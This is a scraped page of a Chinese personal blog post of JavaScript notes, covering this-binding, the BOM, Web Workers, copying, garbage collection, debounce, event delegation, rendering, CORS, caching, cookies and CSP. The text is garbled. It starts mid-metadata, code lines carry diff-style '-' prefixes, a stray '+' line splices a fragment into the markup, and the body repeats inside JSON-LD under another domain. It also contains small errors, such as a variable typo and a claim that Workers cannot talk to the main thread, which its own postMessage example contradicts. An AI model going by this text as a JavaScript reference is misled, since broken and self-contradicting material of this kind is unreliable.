//对比一下正确的答案\r惰性函数\n柯里化函数\nclass类的装饰器（Decorator）\nSet/Map/WeakSet/WeakMap\nGenerator生成器和Interator迭代器\n","wordCount":"2654","inLanguage":"en","datePublished":"2021-07-18T22:35:00Z","dateModified":"2021-07-18T22:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/61/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript知识扩展</h1><div class=post-meta><span title='2021-07-18 22:35:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/JavaScript%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>函数被调用时，浏览器会传递两个参数，this和arguments</p><p>this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存</p><p>callee属性对应着当前的函数</p><p>例如：</p><pre><code>function abc(){
-    console.log(arguments.length);
-    console.log(arguments[0]);
-    console.log(arguments.callee);
-    console.log(this)
-}
-abc('hallo');
-</code></pre><hr><p>BOM对象 (Browser Object Model) 是指浏览器对象模型</p><p>该对象提供了浏览器行为和浏览器属性方法</p><p>windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性</p><p>navigator包含了当前浏览器的全部信息</p><pre><code>console.log(window.navigator)
-</code></pre><p>可以看到输出了很多属性，如userAgent，language等等</p><p>location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：</p><pre><code>console.log(window.location)
-const urlData = &quot;https://xiaochenabc123.test.com/;
-window.location.href = urlData;
-</code></pre><p>这个也可以实现跳转</p><pre><code>window.location.assign(&quot;https://xiaochenabc123.test.com&quot;)
-</code></pre><p>这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面</p><pre><code>window.location.replace(&quot;https://xiaochenabc123.test.com&quot;)
-</code></pre><p>reload方法可以重载页面，加上true参数将强制更新</p><pre><code>window.location.reload(true)
-</code></pre><p>history表示浏览器的历史记录</p><pre><code>console.log(window.history)
-</code></pre><p>length表示本次访问网站的数量</p><p>同时也提供了几个方法</p><p>back()返回上个页面</p><p>window.history.back()</p><p>可以绑定个点击事件，用来返回上个页面</p><p>forward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面</p><p>window.history.forward()</p><p>go()，前进或者后退指定次数，正数为前进，负数为后退</p><p>window.history.go(-1)</p><p>screen代表用户的屏幕的信息, 获取显示器的相关信息</p><pre><code>console.log(window.screen)
-</code></pre><hr><p>call 和 apply</p><p>addEventListen()绑定事件函数</p><p>removeEventListen()移除事件函数</p><p>鼠标按下时onmousedown</p><p>鼠标移动时onmousemove</p><p>鼠标松开时onmouseup</p><hr><p>undefined代表定义未赋值</p><p>null定义并赋值了, 只是值为null</p><hr><p>document.execCommand可以操作剪贴板</p><p>document.execCommand(&lsquo;copy&rsquo;) // 复制</p><p>document.execCommand(&lsquo;cut&rsquo;) // 剪切</p><p>document.execCommand(&lsquo;paste&rsquo;) // 粘贴</p><p>Clipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中</p><p>const NavigatorClipboard = navigator.clipboard</p><hr><p>Web Workers</p><p>Web Workers就是创建多线程的，因为JavaScript是单线程语言</p><p>Web Workers允许主线程创建Workers线程，将任务分配给Workers线程</p><p>主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程</p><p>注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源</p><p>创建Worker线程</p><p>var worker = new Worker(&lsquo;<a href="https://xxx.xxx/data.js'">https://xxx.xxx/data.js'</a>)</p><p>可以看出Worker构造函数的参数是一个脚本文件，例如js</p><p>注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的</p><p>主线程和worker线程通信</p><p>worker.postMessage(&ldquo;hallo word&rdquo;)</p><pre><code>worker.onmessage = function (event) {
-    console.log('data:  ' + event.data)
-}
-</code></pre><p>当worker线程处理完毕，结果可以被event.data获取到</p><p>关闭worker线程</p><p>worker.terminate()</p><hr><p>深拷贝和浅拷贝</p><p>浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化</p><p>例如：</p><pre><code> var obj = {
-      name: &quot;root&quot;
- }
- var abc= obj
- abc.name = &quot;admin&quot;
- console.log(obj, adc)
-</code></pre><p>深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同</p><p>例如：</p><pre><code> var obj = {
-      name: &quot;root&quot;
- }
- var abc = { ...obj }
- abc.name = &quot;admin&quot;
- console.log(obj, abc)
-</code></pre><p>new的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性</p><hr><p>JavaScript的内存管理机制与垃圾回收机制</p><p>内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放</p><p>JavaScript内存空间分为栈，堆，池</p><p>栈存放变量，堆存放复杂对象，池存放常量</p><p>在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收</p><p>浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数</p><p>标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间</p><p>引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间</p><p>注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁</p><hr><p>this指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象</p><p>this优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高</p><p>当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：</p><pre><code>function abc(){
-   console.log(this.a)
-}
-let a = 1
-let obj = {
-    a: 123,
-    abc: abc
-}
-let obj1 = {
-    a: 666,
-    obj: obj
-}
-obj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文
-obj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this
-</code></pre><p>丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：</p><pre><code>function abc(){
-   console.log(this.a)
-}
-var obj = {
-    a: 123,
-    abc: abc
-}
-var funs = obj.abc
-var a = 666
-funs()
+document.execCommand(&lsquo;paste&rsquo;) // 粘贴"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript知识扩展","item":"https://chenjunlinabc.github.io/posts/61/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript知识扩展","name":"JavaScript知识扩展","description":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location) const urlData = \u0026quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) reload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true) history表示浏览器的历史记录\nconsole.log(window.history) length表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen) call 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴","keywords":["JavaScript"],"articleBody":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location) const urlData = \"https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转\nwindow.location.assign(\"https://xiaochenabc123.test.com\") 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\"https://xiaochenabc123.test.com\") reload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true) history表示浏览器的历史记录\nconsole.log(window.history) length表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen) call 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(‘copy’) // 复制\ndocument.execCommand(‘cut’) // 剪切\ndocument.execCommand(‘paste’) // 粘贴\nClipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中\nconst NavigatorClipboard = navigator.clipboard\nWeb Workers\nWeb Workers就是创建多线程的，因为JavaScript是单线程语言\nWeb Workers允许主线程创建Workers线程，将任务分配给Workers线程\n主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程\n注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源\n创建Worker线程\nvar worker = new Worker(‘https://xxx.xxx/data.js')\n可以看出Worker构造函数的参数是一个脚本文件，例如js\n注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的\n主线程和worker线程通信\nworker.postMessage(“hallo word”)\nworker.onmessage = function (event) { console.log('data: ' + event.data) } 当worker线程处理完毕，结果可以被event.data获取到\n关闭worker线程\nworker.terminate()\n深拷贝和浅拷贝\n浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化\n例如：\nvar obj = { name: \"root\" } var abc= obj abc.name = \"admin\" console.log(obj, adc) 深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同\n例如：\nvar obj = { name: \"root\" } var abc = { ...obj } abc.name = \"admin\" console.log(obj, abc) new的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性\nJavaScript的内存管理机制与垃圾回收机制\n内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放\nJavaScript内存空间分为栈，堆，池\n栈存放变量，堆存放复杂对象，池存放常量\n在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收\n浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数\n标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间\n引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间\n注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁\nthis指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象\nthis优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高\n当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：\nfunction abc(){ console.log(this.a) } let a = 1 let obj = { a: 123, abc: abc } let obj1 = { a: 666, obj: obj } obj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文 obj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this 丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：\nfunction abc(){ console.log(this.a) } var obj = { a: 123, abc: abc } var funs = obj.abc var a = 666 funs() funs变量的值为obj.abc的引用，注意不是调用，调用要加()，执行funs时就是在调用abc函数（因为funs的值就是abc函数的引用），因此abc函数的this指向了全局对象（a在全局作用域中，会变成全局对象的属性），导致丢失了想要指向obj对象的this\n使用let或者const关键字声明的全局变量，会被绑定到Script对象上而不是Window对象，使用var定义的变量，就可以被绑定到Window对象上\n例如：\nvar abc = “hallo” console.log(this.abc) // hallo console.log(this) // Window\nlet abc = “hallo” console.log(this.abc) // undefined console.log(this) // Window\nbind，apply，call都是改变this指向的\nbind()：第一个参数是this的指向，后面的是参数列表，可以多次传入，而call要求一次性传入完毕\n例如：\nvar arr=[1,2,4,6,7,10] var max=Math.max.bind(null,arr[0],arr[1],arr[2]) console.log(max()) // 4\napply():接受两个参数，第一个参数是this的指向，第二个参数是函数接收的参数（这个参数是通过数组形式传参），如果第一个参数为null或者undefined的时候，将指向window\nconst arr = [1,2,4,6,7,10] const abc = Math.max.apply(null,arr) console.log(abc) // 10\ncall():第一个参数是this的指向，后面传入的是一个参数列表（注意要一次性传完），当第一个参数为null或undefined的时候，表示指向window，call是临时改变一次this指向，并立即执行（和apply()一样）\nvar arr=[1,2,4,6,7,10] var max=Math.max.call(null,arr[0],arr[1],arr[2]) console.log(max) // 4\ncall和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用\n显式硬绑定\nfunction abc(){ console.log(this.a) } var obj = { a: 123, abc: abc } var funs = function(){ abc.call(obj) } funs() funs.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this 数字 Number 字符串 String 对象 日期 Date 对象 数组 Array 布尔 Boolean 算数 Math\n防抖动（Debouncing）和节流阀（Throtting）\n防抖和节流是web性能优化的知识点，常见于处理触发频率较高的函数，例如：滚动条监听\n防抖(debounce)\n触发事件，不立刻执行，而是事件发生后一段时间在执行，延迟执行，例如setTimeout()\n每触发一次，都要经过一定时间后才进行执行，而该事件再触发，那么上一个触发的时间作为新起点\n可以理解为触发事件后在一定时间内只执行一次，如果在该一定时间内又触发了事件，那么重新计算\n节流(throttle)\n节流其实就是连续触发多次事件，但是在一定时间只触发一次函数\n防抖和节流的区别就是，一个在一定时间内只执行一次，多次触发重新计算，而另一个就是在一定时间内触发一次\nDOM事件流/事件委托\nDOM事件流实质上就是页面中接收事件的顺序，当事件被触发的时候，事件在dom节点之间按照顺序传播，这个就是DOM事件流\n事件被触发，执行目标该事件的处理函数，一个事件被触发，传递给自己父级，一直到window，这个叫事件冒泡\n捕获事件和冒泡只能执行其中一个，例如不想执行某个事件冒泡，就可以捕获其事件，从而达到阻止冒泡的情况发生\n事件对象（event）：这个对象包含了事件的相关数据\nev = event || window.event\nev.target可以获取到是说触发了这个事件，例如：\nconst ev = event || window.event const div = document.querySelector('div') div.addEventListener('click', function (ev) { console.log(ev.target) }) 还有preventDefault()，stopPropagation()分别用来阻止默认事件和冒泡的\n事件委托\n事件委托实质上就是不在子元素上设置事件监听，而是在其父元素上，利用冒泡事件来设置给子元素\n在父元素上绑定事件监听，然后通过ev.target来精确找到是那个子元素触发的，然后事件冒泡到父元素上，因为父元素有事件监听器，因此触发\nthis会变，但是ev.target永远会精确找到触发事件的目标元素，可以不再使用this来表示当前事件触发元素了\nDOM加载顺序（浏览器加载顺序）：解析HTML-加载外部脚本和样式表-解析脚本并且执行-构造DOM模型-加载外部文件（例如图片视频音频等等）\n浏览器渲染过程\n接收获取到html/css/JavaScript等资源后\n浏览器解析渲染该资源，在渲染页面之前后先构建DOM树和CSSOM树\nDOM树实质就是DOM对象模型，提供了对DOM的结构的方法（例如js就是通过dom来操作结构和样式等等）\nCSSOM树实质就是样式对象模型，是css的对象集合\n通过DOM树和CSSOM树合并为RenderObject树（RENDER树，又叫渲染树），通过一系列的布局，绘制操作，再通过浏览器来将渲染交给GPU进程来合成，最后显示页面\n因为JavaScript被设计成GUI渲染和JavaScript互斥，当JavaScript执行的时候，GUI线程会被挂起，等待JavaScript执行完毕后才会执行GUI渲染操作\n因此当JavaScript执行时间过长，会导致GUI渲染DOM加载堵塞\n另外CSS加载也是会阻塞DOM的渲染，因为它需要等CSSOM构造完毕才会开始渲染（RenderObject树依赖于DOM树和CSSOM树）\n而且CSS会在JavaScript执行之前加载执行，因此也是会阻塞JavaScript执行\n关键渲染路径(Critical Rendering Path)优化\n为了完成第一次渲染，应该尽量减少关键资源加载的数量，减短关键资源的获取时间，减小关键资源文件的大小\n在生产环境中，应该减少不必要的注释，空格，尽量做到min文件，可以利用GZIP来压缩文件，来减小文件大小，利用缓存机制来减少获取资源的数量\n注意：浏览器遇到script元素的时候，会阻止解析器执行操作，当CSSOM树构建完毕才会执行JavaScript，再解析\n可以利用script元素的async属性来让其继续执行，而且不会被CSSOM阻止\nscript元素的defer属性可以等解析完毕（Loaded）后再执行\n浏览器的回流和重绘\n当渲染树（RenderTree）某个部分出现改变（例如尺寸，属性等等），浏览器会重新渲染该部分或者全部的过程叫回流（reflow）\n页面第一次渲染，视窗大小发生改变，元素位置或者大小发生改变，元素字体大小发生改变，添加或删除DOM元素等等都会导致回流\n例如：增加，删除，修改dom节点，移动dom位置，修改css样式（大小），改变窗口的对象（Resize）（移动端没这个问题），滚动页面，修改网页的字体等等\n重绘（Repaint）：当元素不会改变其在正常流（文档流）的时候，只是改变样式，浏览器将新样式给元素并且重新绘制其\n回流和重绘危害性，肯定是回流严重，一个是重新渲染，另一个只是渲染其本身\n性能优化\n减少http请求次数（缓存或者本地存储），减少http请求文件的体积，图片优化（压缩），提升http请求速度\n减少dom操作（避免浏览器回流），事件委托，DOM Fragment，防抖节流，尽量不使用全局变量，布局优先选择flex\n异步加载css和js，预加载preload，页面加载动画，骨架屏，路由（组件）懒加载，组件缓存（keepalive）\n因为浏览器有同域策略，跨域会阻止，因此要解决跨域问题\n跨域资源共享(CORS)\n跨域发生的原因并不是在服务端，而是浏览器，实质上跨域发生后，服务端接收到请求，并且返回响应，但是浏览器接收到了响应后，因为浏览器的安全策略的原因，如果符合跨域的要求，但是没有通过Access-Control-Allow-Origin参数来允许客户端跨域请求该数据的话，浏览器将忽略响应结果，返回发生跨域的报错，从而得出，跨域是浏览器的安全策略的一种，确保得到的响应是服务端的的确确是发送给浏览器（客户端）的，而且也能进一步避免浏览器处理了另一个域的恶意脚本，也能进一步避免服务端的敏感数据对不合法请求的暴露\n注意：localhost和127.0.0.1是存在映射关系，但是浏览器不知道localhost是映射到哪里的，因此浏览器会认为localhost和127.0.0.1是不同域的\nCORS可以通过http头来告诉浏览器，准许访问来自不同源的指定资源\n只需要服务器设置Access-Control-Allow-Origin就可以，只有特殊跨域才需要设置\nnginx配置 location / { add_header Access-Control-Allow-Origin *; }\n谷歌浏览器标记：–disable-web-security（禁用同源策略）\nJSONP是json的补充，并不是官方的标准，jsonp是利用script标签和img标签之类的可以直接引用其他域的文件（没有跨域限制）\njsonp跨域，例如：\nlet script = document.createElement('script') script.type = 'text/javascript' script.src = 'https://test.xiaochenabc123.test.com/test.js' document.head.appendChild(script) node跨域\napp.all('*', function(req, res, next) { console.log(req.method); res.header(\"Access-Control-Allow-Origin\", \"*\"); res.header(\"Access-Control-Allow-Origin\", \"https://test.xiaochenabc123.test.com\"); res.header('Access-Control-Allow-Headers', 'Content-type'); res.header(\"Access-Control-Allow-Methods\", \"PUT,POST,GET,DELETE,OPTIONS,PATCH\"); res.header('Access-Control-Max-Age',1728000); next(); }); 预检请求\nCORS预请求：浏览器会发送一个OPTIONS请求到服务端验证跨域的配置是否正确，然后服务端返回一个响应来确定跨域是否被允许\nCORS将请求分成2种，简单请求（simple request）和非简单请求（not-simple-request）\n简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：\n请求方式：必须是GET请求，POST请求，HEAD请求这三个之一\n请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段\nContent-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值\n简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求\nCORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求\n（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许\n（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）\n注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求\n缓存\nres.header(\"Cache-Control\",\"max-age=60\"); private指的单个用户，public可以被任何中间人、CDN等缓存\nHTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））\n缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)\n重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））\nno-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）\n设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）\n缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））\nIf-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取\nIf-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变\ncookie\ncookie通过Set-Cookie设置\ncookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）\n设置httponly后无法通过document.cookie访问cookie（安全）\nsecure只在https时发送该cookie（安全）\nDomain只在命中该域时发送该cookie（安全）\npath可以限制服务端哪个路径下可以访问到该cookie（安全）\nconst http = require(\"http\") http.createServer(function (_request, response) { response.writeHead(200,{ 'Content-Type': 'text/plain', 'Set-Cookie': 'id=abc' // 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/'] }) response.end(\"hallo nodejs\") }).listen(8888) console.log('Server running at http://127.0.0.1:8888/') http数据协商\nAccept（客户端想要的数据类型）\nAccept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）\nAccept-Language（数据的语言）\nUser-Agent（浏览器的UA信息）\nContent-Type（服务端返回的数据的实质类型）\nContent-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））\nContent-Language（服务端返回数据的实质语言）\nContent-Security-Policy（内容安全策略，CSP）\n限制资源的获取\nres.writeHead(200, { 'Content-Type': 'text-html', 'Content-Security-Policy': 'default-src http: https:' // 'Content-Security-Policy': 'default-src \\'self\\' http://test.xiaochenabc123.test.com; form-action \\'self\\'; report-uri 